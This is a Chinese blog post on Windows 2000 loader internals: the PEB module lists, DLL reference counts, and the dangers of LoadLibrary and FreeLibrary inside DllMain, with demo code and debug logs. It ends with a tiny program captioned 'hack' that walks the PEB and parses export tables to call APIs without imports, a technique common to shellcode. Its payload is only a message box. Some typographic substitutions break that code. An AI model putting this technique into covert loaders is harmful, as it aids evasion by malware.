9 H:\Samples\MSDN Magazine\Windows2000 Loader(0203)\TestDll.DLL LDRP_IMAGE_DLL | LDRP_ENTRY_PROCESSED | LDRP_PROCESS_ATTACH_CALLED

Ldr.InInitializationOrderModuleList: 00131F40 . 001345A0
1 C:\WINNT\system32\ntdll.dll LDRP_IMAGE_DLL | LDRP_ENTRY_PROCESSED
2 C:\WINNT\system32\KERNEL32.dll LDRP_STATIC_LINK | LDRP_IMAGE_DLL | LDRP_ENTRY_PROCESSED | LDRP_PROCESS_ATTACH_CALLED
3 C:\WINNT\system32\GDI32.DLL LDRP_STATIC_LINK | LDRP_IMAGE_DLL | LDRP_ENTRY_PROCESSED
4 C:\WINNT\system32\USER32.dll LDRP_STATIC_LINK | LDRP_IMAGE_DLL | LDRP_ENTRY_PROCESSED | LDRP_DONT_CALL_FOR_THREAD | LDRP_PROCESS_ATTACH_CALLED
5 C:\WINNT\system32\RPCRT4.DLL LDRP_STATIC_LINK | LDRP_IMAGE_DLL | LDRP_ENTRY_PROCESSED | LDRP_PROCESS_ATTACH_CALLED
6 C:\WINNT\system32\ADVAPI32.DLL LDRP_STATIC_LINK | LDRP_IMAGE_DLL | LDRP_ENTRY_PROCESSED | LDRP_PROCESS_ATTACH_CALLED
7 C:\WINNT\system32\IMM32.DLL LDRP_IMAGE_DLL | LDRP_ENTRY_PROCESSED | LDRP_PROCESS_ATTACH_CALLED
8 H:\Samples\MSDN Magazine\Windows2000 Loader(0203)\TestDll.DLL LDRP_IMAGE_DLL | LDRP_ENTRY_PROCESSED | LDRP_PROCESS_ATTACH_CALLED

InLoadOrderModuleList的顺序是从头往后走,沿着flink的方向走,靠近头部的是先load的。

InMemoryOrderModuleList的顺序和LoadOrder相同。

InInitializationOrderModuleList的顺序也是从头往后走,沿着flink的方向走,靠近头部的先初始化。

Unload的时侯按与初始化方向相反的方向,沿着blink的方向走,尾部的先unload。

(通过查看win2k\private\windows\base\client\toolhelp.c以及win2k\private\ntos\dll\ldrapi.c里LdrQueryProcessModuleInformation的代码,
可以知道通过toolhelp函数Module32First,Module32Next得到的Module的顺序是LoadOrder的顺序。)



InMemoryOrderModuleList和InLoadOrderModuleList几乎完全一样,它唯一的特殊之处是在LdrUnloadDll里,通过

      Entry->InMemoryOrderLinks.Flink = NULL;

标志dll正在被unload。
在LdrpCheckForLoadedDll和LdrpCheckForLoadedDllHandle两个函数里会用到这个特性。
但这似乎不足以成为InMemoryOrderModuleList存在的理由?这仍是我的疑惑。



如果一个Dll A引用了另一个Dll B,那么就会出现Load的顺序与Initialize的顺序不一致的情况。

因为只有先load Dll A才可能知道它引用了Dll B,所以Dll A在InLoadOrderModuleList表中的顺序显示要先于Dll B。

又因为在逻辑上只有先知道Dll B能否初始化成功,才能决定Dll A是否能初始化成功,所以Dll B在InInitializationOrderModuleList表中的顺序要先于Dll A。

问题二

在Russ Osterlund的"Windows 2000 Loader"的最后留下了一个问题:why do some DLLs have a reference count of -1 and the others contain an actual count?
作者说以后会解答这个问题,我也不知道他后来在哪里解答了。可以把这个问题分为两个小问题:
哪些DLLs的引用计数为-1?为什么这些DLLs的引用计数要为-1?



在进程初始化的最开始,只有Process Image和ntdll.dll的LoadCount等于-1。

在装载完static link dlls之后,象kernel32.dll之类的dll的引用计数都不等于-1,从LdrSnap的输出可看出:

    LDR: Refcount   KERNEL32.dll (1)
LDR: Refcount USER32.dll (1)
LDR: Refcount KERNEL32.DLL (2)
LDR: Refcount GDI32.DLL (1)
LDR: Refcount KERNEL32.DLL (3)
LDR: Refcount USER32.DLL (2)

但是随后,初始化代码把这些静态链接的Dll的LoadCount都强制设为了-1。
并不是说静态链接的dll都要这么做,如果一个dll是通过LoadLibrary动态加载的,那么它静态链接的dll并不会强制设LoadCount为-1,下面是从ModuleList中截取的的部分输出:

    LoadCount    Module                           Flag
1 C:\WINNT\system32\IMM32.DLL LDRP_IMAGE_DLL | LDRP_ENTRY_PROCESSED | LDRP_PROCESS_ATTACH_CALLED
2 C:\WINNT\system32\ADVAPI32.DLL LDRP_STATIC_LINK | LDRP_IMAGE_DLL | LDRP_ENTRY_PROCESSED | LDRP_PROCESS_ATTACH_CALLED
1 C:\WINNT\system32\RPCRT4.DLL LDRP_STATIC_LINK | LDRP_IMAGE_DLL | LDRP_ENTRY_PROCESSED | LDRP_PROCESS_ATTACH_CALLED

IMM32.dll是动态加载的,IMM32.dll静态链接于ADVAPI32.DLL,ADVAPI32.DLL又静态链接于RPCRT4.DLL,它们的引用计数都不等于-1。



通过LdrpInitializeProcess的伪代码可以看出,所有并且只有Process Image静态链接的Dlls的LoadCount为-1。

在正常情况下,即LoadLibrary和FreeLibrary成对匹配的情况下,进程隐式链接的Dlls的引用计数永远应该>=1,因为至少Process Image在使用它。
把它们的LoadCount设为-1,既是一种简化的设计,也是一种安全的设计,因为即使是多次调用FreeLibrary也不会把它释放掉。
LdrUnloadDll发现LoadCount等于-1,就立刻返回了。

问题三

为什么在DllMain里不能调用LoadLibrary和FreeLibrary函数?



MSDN里对这个问题的答案十分的晦涩。不过现在我们已经有了足够的知识来解答这个问题。

考虑下面的情况:

      (a)DllB静态链接DllA

      (b)DllB在DllMain里调用DllA的一个函数A1()

      (c)DllA在DllMain里调用LoadLibrary("DllB.dll")



分析:当执行到DllA中的DllMain的时侯,DllA.dll已经被映射到进程地址空间中,已经加入到了module list中。
当它调用LoadLibrary("DllB.dll")时,首先会调用LdrpMapDll把DllB.dll映射到进程地址空间,并加入到InLoadOrderModuleList中。
然后会调用LdrpLoadImportModule(…)加载它引用的DllA.dll,而LdrpLoadImportModule会调用LdrpCheckForLoadedDll检查是否DllA.dll已经被加载。
LdrpCheckForLoadedDll会在哈希表LdrpHashTable中查找DllA.dll,而显然它能找到,所以加载DllA.dll这一步被成功调过。
DllA在它的DllMain函数里能成功加载DllB,并要执行DllB的DllMain函数对其初始化。
站在DllB的角度考虑,当程序运行到它的DllMain的时侯,它完全有理由相信它隐式链接的DllA.dll已经被加载并且成功地初始化。
可事实上,此时DllA只是处在"正在初始化"的过程中!这种理想和现实的差距就是可能产生的Bug的根源,
就是禁止在DllMain里调用LoadLibrary的理由!



本文附带的例子中说明了这种出错的情况:

TestLoad主程序:
int main(int argc, char* argv[])
{
HINSTANCE hDll = ::LoadLibrary( "DllA.dll" ) ;
FreeLibrary( hDll ) ;
return 0;
}

DllA:
HANDLE g_hDllB = NULL ;
char *g_buf = NULL ;

BOOL APIENTRY DllMain( HANDLE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
OutputDebugString( "==>DllA: Initialize begin!\n" ) ;

g_hDllB = LoadLibrary( "DllB.dll" ) ;

// g_buf在Load DllB.dll之后才初始化,显然它没有料到DllB在初始化时居然会用到g_buf!!
g_buf = new char[128] ;
memset( g_buf, 0, 128 ) ;

OutputDebugString( "==>DllA: Initialize end!\n" ) ;
break ;

case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}

DLLA_API void A1( char *str )
{
OutputDebugString( "==>DllA: A1()\n" ) ;

// 当DllB.dll在它的DllMain函数里调用A1()时,g_buf还没有初始化,所以必然会出错!
strcat( g_buf, "==>DllA: " ) ;
strcpy( g_buf, str ) ;

OutputDebugString( g_buf ) ;
}

DllB:
BOOL APIENTRY DllMain( HANDLE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
OutputDebugString( "==>DllB: Initialize!\n" ) ;
OutputDebugString( "==>DllB: DllB depend on DllA.\n" ) ;
OutputDebugString( "==>DllB: I think DllA has been initialize.\n" ) ;

// 当程序运行到这时,DllB认为它引用的DllA.dll已经加载并初始化了,所以它调用DllA的函数A1()
A1( "DllB Invoke DllA::A1()\n" ) ;
break ;

case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}

在调用DllA的函数A1()时,因为DllA里有些变量还没初始化,所以会产生exception。
以下是截取的部分LDR的输出,"==>"开头的是程序的输出。

    LDR: Loading (DYNAMIC) H:\cm\vc6\TestLoad\bin\DllA.dll
LDR: KERNEL32.dll used by DllA.dll
LDR: Snapping imports for DllA.dll from KERNEL32.dll
LDR: Real INIT LIST
H:\cm\vc6\TestLoad\bin\DllA.dll init routine 10001440
LDR: DllA.dll loaded. - Calling init routine at 10001440
==>DllA: Initialize begin!
LDR: Loading (DYNAMIC) H:\cm\vc6\TestLoad\bin\DllB.dll
LDR: DllA.dll used by DllB.dll
LDR: Snapping imports for DllB.dll from DllA.dll
LDR: Refcount DllA.dll (2)
LDR: Real INIT LIST
H:\cm\vc6\TestLoad\bin\DllB.dll init routine 371260
LDR: DllB.dll loaded. - Calling init routine at 371260
==>DllB: Initialize!
==>DllB: DllB depend on DllA.
==>DllB: I think DllA has been initialize.
==>DllA: A1()
First-chance exception in Test.exe (DLLA.DLL): 0xC0000005: Access Violation.
==>DllA: Initialize end!

在前面已经说过LdrUnloadDll里对DllMain里调用FreeLibrary的情况进行了特殊处理。
此时仍然会对各个相关的Dll引用计数减1,并移入到unload list中,但然后LdrUnloadDll就返回了!并没有执行Dll的termination code。
我构建了一个运行正确的例子TestUnload,说明LdrUnloadDll是怎么处理的。



考虑下面的情况:

      (a)DllA依赖于DllC,DllB也依赖于DllC

      (b)DllA里调用LoadLibrary("DllB.dll"),并保证其成功

      (c)DllA在DllMain的termination code里执行FreeLibrary(),释放DllB

      (d)在主程序里动态的加载DllA



下面的代码和注释说明了程序运行的细节:

TestUnload主程序:
int main(int argc, char* argv[])
{
HINSTANCE hDll = ::LoadLibrary( "DllA.dll" ) ;
// 在调用LoadLibrary之后
// LoadOrderList: A(1) --> C(2) --> B(1), 括号内的代表LoadCount
// MemoryOrderList: A(1) --> C(2) --> B(1)
// InitOrderList: C(2) --> A(1) --> B(1)

FreeLibrary( hDll ) ;
return 0;
}

DllA:
BOOL APIENTRY DllMain( HANDLE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
OutputDebugString( "==>DllA: Initialize!\n" ) ;

// 这里用LoadLibrary是安全的
g_hDllB = LoadLibrary( "DllB.dll" ) ;
if (NULL == g_hDllB)
return FALSE ;
break ;

case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
break ;

case DLL_PROCESS_DETACH:
// 运行到这里时,DllA现在只留在LoadOrderList中,已经从另两个list中删除
// LoadOrderList: A(0) --> C(1) --> B(1)
// MemoryOrderList: C(1) --> B(1)
// InitOrderList: C(1) --> B(1)

OutputDebugString( "==>DllA: Uninitialize begin!\n" ) ;

FreeLibrary( g_hDllB ) ;

// 运行到这里时,DllB和DllC都从MemoryOrderList和InitOrderList中删除了
// LoadOrderList: A(0) --> C(0) --> B(0)
// MemoryOrderList:
// InitOrderList:

OutputDebugString( "==>DllA: Uninitialize end!\n" ) ;
break;
}
return TRUE;
}

如果主程序是静态链接DllA又如何呢?
LdrUnloadDll同样能判断这种情况:如果进程正在关闭那么LdrUnloadDll直接返回。
我也构建了一个运行正确的例子TestUnload2来说明这种情况:

TestUnload2主程序:
int main(int argc, char* argv[])
{
// 此时DllA,DllB,DllC均已load
// LoadOrderList: A(-1) --> C(-1) --> B(1), 括号内的代表LoadCount
// MemoryOrderList: A(-1) --> C(-1) --> B(1)
// InitOrderList: C(-1) --> A(-1) --> B(1)

return 0;
}

DllA:
BOOL APIENTRY DllMain( HANDLE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
OutputDebugString( "==>DllA: Initialize!\n" ) ;

// 这里用LoadLibrary是安全的
g_hDllB = LoadLibrary( "DllB.dll" ) ;
if (NULL == g_hDllB)
return FALSE ;

break ;

case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
break ;

case DLL_PROCESS_DETACH:
// 运行到这里时,DllB已经被卸载,因为它是InitOrderList中最后一项
// 这里的卸载指的是调用了Init routine,发出了DLL_PROCESS_DETACH通知,而不是指unmap内存中的映像
OutputDebugString( "==>DllA: Uninitialize begin!\n" ) ;

// 这里不应该再调用DllB的函数!!!

// 尽管DllB已经被卸载,但这里调用FreeLibrary并无危险
// 因为LdrUnloadDll判断出进程正在Shutdown,所以它什么也没做,直接返回
FreeLibrary( g_hDllB ) ;

OutputDebugString( "==>DllA: Uninitialize end!\n" ) ;

break;
}
return TRUE;
}

在Jeffrey Richter的"Windows核心编程"和Matt Pietrek在1999年MSJ上的"Under the
Hood"里都说到,
User32.dll在它的initialize
code里会用LoadLibrary加载"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows
NT\CurrentVersion\Windows\AppInit_DLLs"
下的dll,在它的terminate code里会用FreeLibrary卸载它们。跟踪它的FreeLibrary函数,发现同上面的例子一样,
LdrUnloadDll发现进程正在Shutdown中,就直接返回了,没有任何危险。(User32.dll是静态链接的函数,只可能在进程关闭时被
卸载。
另外,在我调试的时侯,发现即使AppInit_DLLs下为空,User32.dll仍然会加载imm32.dll)。



总而言之,FreeLibrary本身是相当安全的,但MSDN里对它的警告也并非是胡说八道。在DllMain里使用FreeLibrary仍然是具有危险性的,
与LoadLibrary一样,它们具有相同的Bug哲学,即理想和现实的差距!

TestUnload2虽然运行正确,但是它具有潜在的危险性

对DllA而言,释放DllB是它的责任,是它在收到DLL_PROCESS_DETACH通知之后用FreeLibrary卸载的,
可事实上如果DllA被主程序静态链接,或者DllA是动态链接但没有用FreeLibrary显式卸载它的话,那么在进程结束时,在DllA卸载DllB之前,DllB就已经被主程序卸载掉了!
这种认识上的错误就是养育Bug的沃土。如果DllA没有认识到这种可能性,而在FreeLibrary之前调用DllB的函数,就极可能出错!!!



为了加深理解,我用文章开头提到的那个Bug来说明这种情况,那可是血的教训。问题描述如下:

我用MFC写了一个OCX,OCX里动态加载了一些Plugin Dlls,在OCX的ExitInstance(相当于DllMain里处理DLL_PROCESS_DETACH通知)里
调用这些Plugin的Uninitialize code,然后用FreeLibrary将其释放。在我用MFC编写的一个Doc/View架构的测试程序里运行良好,
但不久客户就报告了一个Bug:用VB写了一个OCX2来包装我的OCX,在一个网页里使用OCX2,然后在IE里打开这个网页,在关掉IE时会当掉!
发生在特定条件下的奇怪的错误!当时我可是费了不少功夫来解这个Bug,现在一切都那么清晰了。



下面是我用MFC写的测试程序在关闭时的堆栈:

PDFREA_1!CPDFReaderOCXApp::ExitInstance+0x1d
PDFREA_1!DllMain+0x1bb
PDFREA_1!_DllMainCRTStartup+0x80
ntdll!LdrpCallInitRoutine+0x14
ntdll!LdrUnloadDll+0x29a
KERNEL32!FreeLibrary+0x3b
ole32!CClassCache::CDllPathEntry::CFinishObject::Finish+0x2b
ole32!CClassCache::CFinishComposite::Finish+0x19
ole32!CClassCache::FreeUnused+0x192
ole32!CoFreeUnusedLibraries+0x35
MFCO42D!AfxOleTerm+0x7b
MFCO42D!AfxOleTermOrFreeLib+0x12
MFC42D!AfxWinTerm+0xa9
MFC42D!AfxWinMain+0x103
ReaderContainerMFC!WinMain+0x18
ReaderContainerMFC!WinMainCRTStartup+0x1b3
KERNEL32!BaseProcessStart+0x3d

可以看到OCX被FreeLibrary显式地释放,抢在Plugin被进程释放之前,所以不会出错。



下面是关闭IE时的堆栈:

CPDFReaderOCXApp::ExitInstance() line 44
DllMain(HINSTANCE__ * 0x04e10000, unsigned long 0, void * 0x00000001) line 139
_DllMainCRTStartup(void * 0x04e10000, unsigned long 0, void * 0x00000001) line 273 + 17 bytes
NTDLL! LdrShutdownProcess + 238 bytes
KERNEL32! ExitProcess + 85 bytes

可以看到OCX是在LdrShutdownProcess里被释放的,而此时Plugin已经被释放掉了,因为在InInitializationOrderModuleList表里Plugin Dlls在OCX之后,所以它们被先释放!
这种情况要是还不出错真是奇迹了。



总结:虽然MS警告不要在DllMain里不能调用LoadLibrary和FreeLibrary函数,可实际上它还是做了很多的工作来处理这种情况。
只不过因为他不想或者懒得说清楚到底哪些情况不能这么用,才干脆一棒子打死统统不许。
在你自己的程序里不是绝对不能这么用,只是你必须清楚地知道每件事是怎么发生的,以及潜在的危险。

后记:

这篇文章包含了太多的内容,你一定已经看得一头雾水,不知我所云。不仅是你连我自己都有点吃不消。

我不是一个优秀的写者,也无意于此。而且我一直认为,真正的知识永远不是从书本上获得的。

我不知道你能从这篇文章里学到什么,但你一定能从中知道你可以学到什么。

参考资料:

(1) Russ Osterlund, Windows 2000 Loader, MSDN Magazine, March 2002

(2) Matt Pietrek, Under the Hood, MSJ, September 1999

(3) Matt Pietrek, Inside Windows: An In-Depth Look into the Win32 Portable Executable File Format, Part 2, MSDN Magazine, March 2002

(4) Microsoft Portable Executable and Common Object File Format Specification, Revision 6.0 – February 1999

(5) Windows 2000 source code

下载

测试程序(包括TestLoad,TestUnload,TestUnload2) 下载后将扩展名.html改为.rar

http://blog.vckbase.com/Files/BastEt/testnodll.zip

VC2003编译,我想用VC6肯定也能编译通过,不过机器上没装,哪个有空帮我看看在VC6下能达到多少字节?


原始文章来自:http://blog.csdn.net/sunwang123456/archive/2005/10/18/508706.aspx



#define WIN32_LEAN_AND_MEAN
#define WINVER 0×0500
#include <windows.h>

//==========================日啊,好麻烦的结构啊,晕死他的BOOLEAN了,搞得不能对齐。==========
#pragma pack(push,8)

typedef struct _PEB_LDR_DATA
{
    ULONG               Length;
    BOOLEAN             Initialized;
    PVOID               SsHandle;
    LIST_ENTRY          InLoadOrderModuleList;
    LIST_ENTRY          InMemoryOrderModuleList;
    LIST_ENTRY          InInitializationOrderModuleList;
} PEB_LDR_DATA, *PPEB_LDR_DATA;

typedef struct _UNICODE_STRING
{
    USHORT Length;
    USHORT MaximumLength;
    PWSTR Buffer;
} UNICODE_STRING, *PUNICODE_STRING;

typedef struct _LDR_MODULE {
    LIST_ENTRY InLoadOrderModuleList;
    LIST_ENTRY InMemoryOrderModuleList;
    LIST_ENTRY InInitializationOrderModuleList;
    PVOID BaseAddress;
    PVOID EntryPoint;
    ULONG SizeOfImage;
    UNICODE_STRING FullDllName;
    UNICODE_STRING BaseDllName;
    ULONG Flags;
    SHORT LoadCount;
    SHORT TlsIndex;
    LIST_ENTRY HashTableEntry;
    ULONG TimeDateStamp;
} LDR_MODULE, *PLDR_MODULE;


typedef struct RTL_DRIVE_LETTER_CURDIR
{
    USHORT              Flags;
    USHORT              Length;
    ULONG               TimeStamp;
    UNICODE_STRING      DosPath;
} RTL_DRIVE_LETTER_CURDIR, *PRTL_DRIVE_LETTER_CURDIR;

typedef struct _RTL_USER_PROCESS_PARAMETERS
{
    ULONG               AllocationSize;
    ULONG               Size;
    ULONG               Flags;
    ULONG               DebugFlags;
    HANDLE              hConsole;
    ULONG               ProcessGroup;
    HANDLE              hStdInput;
    HANDLE              hStdOutput;
    HANDLE              hStdError;
    UNICODE_STRING      CurrentDirectoryName;
    HANDLE              CurrentDirectoryHandle;
    UNICODE_STRING      DllPath;
    UNICODE_STRING      ImagePathName;
    UNICODE_STRING      CommandLine;
    PWSTR               Environment;
    ULONG               dwX;
    ULONG               dwY;
    ULONG               dwXSize;
    ULONG               dwYSize;
    ULONG               dwXCountChars;
    ULONG               dwYCountChars;
    ULONG               dwFillAttribute;
    ULONG               dwFlags;
    ULONG               wShowWindow;
    UNICODE_STRING      WindowTitle;
    UNICODE_STRING      Desktop;
    UNICODE_STRING      ShellInfo;
    UNICODE_STRING      RuntimeInfo;
    RTL_DRIVE_LETTER_CURDIR DLCurrentDirectory[0x20];
} RTL_USER_PROCESS_PARAMETERS, *PRTL_USER_PROCESS_PARAMETERS;

typedef VOID (_stdcall *PPEBLOCKROUTINE)(PVOID);

typedef struct _PEB_FREE_BLOCK
{
    struct _PEB_FREE_BLOCK* Next;
    ULONG Size;
} PEB_FREE_BLOCK, *PPEB_FREE_BLOCK;

struct PEB
{
    BOOLEAN InheritedAddressSpace;
    BOOLEAN ReadImageFileExecOptions;
    BOOLEAN BeingDebugged;
    BOOLEAN Spare;
    HANDLE Mutant;
    PVOID ImageBaseAddress;
    PPEB_LDR_DATA LoaderData;
    PRTL_USER_PROCESS_PARAMETERS ProcessParameters;
    PVOID SubSystemData;
    PVOID ProcessHeap;
    PVOID FastPebLock;
    PPEBLOCKROUTINE FastPebLockRoutine;
    PPEBLOCKROUTINE FastPebUnlockRoutine;
    ULONG EnvironmentUpdateCount;
    PVOID *KernelCallbackTable;
    PVOID EventLogSection;
    PVOID EventLog;
    PPEB_FREE_BLOCK FreeList;
    ULONG TlsExpansionCounter;
    PVOID TlsBitmap;
    ULONG TlsBitmapBits[0x2];
    PVOID ReadOnlySharedMemoryBase;
    PVOID ReadOnlySharedMemoryHeap;
    PVOID *ReadOnlyStaticServerData;
    PVOID AnsiCodePageData;
    PVOID OemCodePageData;
    PVOID UnicodeCaseTableData;
    ULONG NumberOfProcessors;
    ULONG NtGlobalFlag;
    BYTE Spare2[0x4];
    LARGE_INTEGER CriticalSectionTimeout;
    ULONG HeapSegmentReserve;
    ULONG HeapSegmentCommit;
    ULONG HeapDeCommitTotalFreeThreshold;
    ULONG HeapDeCommitFreeBlockThreshold;
    ULONG NumberOfHeaps;
    ULONG MaximumNumberOfHeaps;
    PVOID **ProcessHeaps;
    PVOID GdiSharedHandleTable;
    PVOID ProcessStarterHelper;
    PVOID GdiDCAttributeList;
    PVOID LoaderLock;
    ULONG OSMajorVersion;
    ULONG OSMinorVersion;
    ULONG OSBuildNumber;
    ULONG OSPlatformId;
    ULONG ImageSubSystem;
    ULONG ImageSubSystemMajorVersion;
    ULONG ImageSubSystemMinorVersion;
    ULONG GdiHandleBuffer[0x22];
    ULONG PostProcessInitRoutine;
    ULONG TlsExpansionBitmap;
    BYTE TlsExpansionBitmapBits[0x80];
    ULONG SessionId;
};

typedef struct _CLIENT_ID
{
    HANDLE UniqueProcess;
    HANDLE UniqueThread;
} CLIENT_ID, *PCLIENT_ID;

typedef struct _GDI_TEB_BATCH
{
    ULONG Offset;
    ULONG HDC;
    ULONG Buffer[0x136];
} GDI_TEB_BATCH, *PGDI_TEB_BATCH;

struct TEB
{
    NT_TIB Tib;                         /* 00h */
    PVOID EnvironmentPointer;           /* 1Ch */
    CLIENT_ID Cid;                      /* 20h */
    PVOID ActiveRpcInfo;                /* 28h */
    PVOID ThreadLocalStoragePointer;    /* 2Ch */
    PEB *Peb;                           /* 30h */
    ULONG LastErrorValue;               /* 34h */
    ULONG CountOfOwnedCriticalSections; /* 38h */
    PVOID CsrClientThread;              /* 3Ch */
    void* Win32ThreadInfo; /* 40h */
    ULONG Win32ClientInfo[0x1F];        /* 44h */
    PVOID WOW32Reserved;                /* C0h */
    LCID CurrentLocale;                 /* C4h */
    ULONG FpSoftwareStatusRegister;     /* C8h */
    PVOID SystemReserved1[0x36];        /* CCh */
    PVOID Spare1;                       /* 1A4h */
    LONG ExceptionCode;                 /* 1A8h */
    UCHAR SpareBytes1[0x28];            /* 1ACh */
    PVOID SystemReserved2[0xA];         /* 1D4h */
    GDI_TEB_BATCH GdiTebBatch;          /* 1FCh */
    ULONG gdiRgn;                       /* 6DCh */
    ULONG gdiPen;                       /* 6E0h */
    ULONG gdiBrush;                     /* 6E4h */
    CLIENT_ID RealClientId;             /* 6E8h */
    PVOID GdiCachedProcessHandle;       /* 6F0h */
    ULONG GdiClientPID;                 /* 6F4h */
    ULONG GdiClientTID;                 /* 6F8h */
    PVOID GdiThreadLocaleInfo;          /* 6FCh */
    PVOID UserReserved[5];              /* 700h */
    PVOID glDispatchTable[0x118];       /* 714h */
    ULONG glReserved1[0x1A];            /* B74h */
    PVOID glReserved2;                  /* BDCh */
    PVOID glSectionInfo;                /* BE0h */
    PVOID glSection;                    /* BE4h */
    PVOID glTable;                      /* BE8h */
    PVOID glCurrentRC;                  /* BECh */
    PVOID glContext;                    /* BF0h */
    LONG LastStatusValue;           /* BF4h */
    UNICODE_STRING StaticUnicodeString; /* BF8h */
    WCHAR StaticUnicodeBuffer[0x105];   /* C00h */
    PVOID DeallocationStack;            /* E0Ch */
    PVOID TlsSlots[0x40];               /* E10h */
    LIST_ENTRY TlsLinks;                /* F10h */
    PVOID Vdm;                          /* F18h */
    PVOID ReservedForNtRpc;             /* F1Ch */
    PVOID DbgSsReserved[0x2];           /* F20h */
    ULONG HardErrorDisabled;            /* F28h */
    PVOID Instrumentation[0x10];        /* F2Ch */
    PVOID WinSockData;                  /* F6Ch */
    ULONG GdiBatchCount;                /* F70h */
    USHORT Spare2;                      /* F74h */
    BOOLEAN IsFiber;                    /* F76h */
    UCHAR Spare3;                       /* F77h */
    ULONG Spare4;                       /* F78h */
    ULONG Spare5;                       /* F7Ch */
    PVOID ReservedForOle;               /* F80h */
    ULONG WaitingOnLoaderLock;          /* F84h */
    ULONG Unknown[11];                  /* F88h */
    PVOID FlsSlots;                     /* FB4h */
    PVOID WineDebugInfo;                /* Needed for WINE DLL’s  */
};

#pragma pack(pop)

#pragma comment(linker,"/merge:.rdata=.data")
#pragma comment(linker,"/merge:.text=.data")



inline bool mystrcmp (const char * src,const char * dst)
{
    int ret = 0 ;
    while( ! (ret = *(unsigned char *)src – *(unsigned char *)dst) && *dst)
        ++src, ++dst;
    return ret==0;
}

unsigned int GetFunctionByName(unsigned int ImageBase,const char*FuncName)
{
    IMAGE_DOS_HEADER *pdoshdr=(IMAGE_DOS_HEADER *)ImageBase;
    PIMAGE_NT_HEADERS32 pnthdr=(PIMAGE_NT_HEADERS32)(ImageBase+pdoshdr->e_lfanew);
    if(pnthdr->Signature!=IMAGE_NT_SIGNATURE)
        return 0;
    PIMAGE_DATA_DIRECTORY pidd=&pnthdr->OptionalHeader.DataDirectory[0];
    IMAGE_EXPORT_DIRECTORY *pied=(IMAGE_EXPORT_DIRECTORY *)(ImageBase+pidd->VirtualAddress);

    LONG *pfuncnames=(LONG *)(ImageBase+pied->AddressOfNames);
    for(unsigned int i=0;i<pied->NumberOfNames;i++)
    {
        PSTR pfunc=(PSTR)(ImageBase+pfuncnames[i]);
        if(mystrcmp(pfunc,FuncName))
        {
            WORD *EOT=(WORD *)(pied->AddressOfNameOrdinals+ImageBase);
            LONG *EAT=(LONG *)(pied->AddressOfFunctions+ImageBase);
            int index=EOT[i];
            return (ImageBase+EAT[index]);            
        }
    }
    return 0;
}

typedef HMODULE (WINAPI *TLoadLibraryA)(LPCSTR lpFileName);
typedef BOOL (WINAPI *TFreeLibrary)(HMODULE hModule);
typedef void (WINAPI *TExitProcess)(UINT uExitCode);
typedef int (WINAPI *TMessageBox)(HWND hWnd,LPCSTR lpText,LPCSTR lpCaption,UINT uType);

extern "C" void WinMainCRTStartup()
{
    unsigned int kernel32imagebase,user32imagebase;
    char title[]="ddd&&*U( sunwang need beauty %^%&*";
    char caption[]="hack";
    char user32[]="user32";

    TEB *pteb=NULL;
    __asm mov eax,fs:[18h]
    __asm mov pteb,eax

    PEB *ppeb=pteb->Peb;
    PPEB_LDR_DATA pldr=ppeb->LoaderData;
    PLDR_MODULE pmodule=(PLDR_MODULE)pldr->InLoadOrderModuleList.Flink;
    PLDR_MODULE pntdllmodule=(PLDR_MODULE)pmodule->InLoadOrderModuleList.Flink;
    PLDR_MODULE pkernel32module=(PLDR_MODULE)pntdllmodule->InLoadOrderModuleList.Flink;
    kernel32imagebase=(unsigned int)pkernel32module->BaseAddress;

    TLoadLibraryA pLoadLibraryA=(TLoadLibraryA)GetFunctionByName(kernel32imagebase,"LoadLibraryA");
    TFreeLibrary pFreeLibrary=(TFreeLibrary)GetFunctionByName(kernel32imagebase,"FreeLibrary");
    TExitProcess pExitProcess=(TExitProcess)GetFunctionByName(kernel32imagebase,"ExitProcess");

    user32imagebase=(unsigned int)pLoadLibraryA(user32);
    TMessageBox pMessageBox=(TMessageBox)GetFunctionByName(user32imagebase,"MessageBoxA");
    pMessageBox(NULL,title,caption,MB_OK);

    pFreeLibrary((HMODULE)user32imagebase);
    pExitProcess(0);
}